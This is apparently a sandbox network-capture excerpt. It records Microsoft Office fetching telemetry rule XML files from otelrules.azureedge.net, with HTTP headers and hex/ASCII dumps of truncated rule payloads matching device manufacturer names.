2024-11-23 16:45:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164515Z-174c587ffdfn4nhwhC1TEB2nbc000000037000000000hf0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:15 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164516Z-178bfbc474bpscmfhC1NYCfc2c000000037000000000mpxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164516Z-174c587ffdftjz9shC1TEBsh9800000002y000000000q7uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:15 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164516Z-174c587ffdfb485jhC1TEBmc1s00000002z000000000hagt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:17 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164517Z-178bfbc474bq2pr7hC1NYCkfgg00000004tg00000000f5nr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:18 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164518Z-15b8b599d88wk8w4hC1TEB14b8000000037000000000b13y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164518Z-174c587ffdfb485jhC1TEBmc1s000000031g0000000094mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164518Z-174c587ffdf8lw6dhC1TEBkgs8000000033g00000000ndv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164518Z-15b8b599d88tmlzshC1TEB4xpn000000035g000000003m8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164520Z-178bfbc474bxkclvhC1NYC69g400000004m000000000eyec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164520Z-174c587ffdfldtt2hC1TEBwv9c000000030000000000f2ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164520Z-174c587ffdftjz9shC1TEBsh9800000002y000000000q89g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

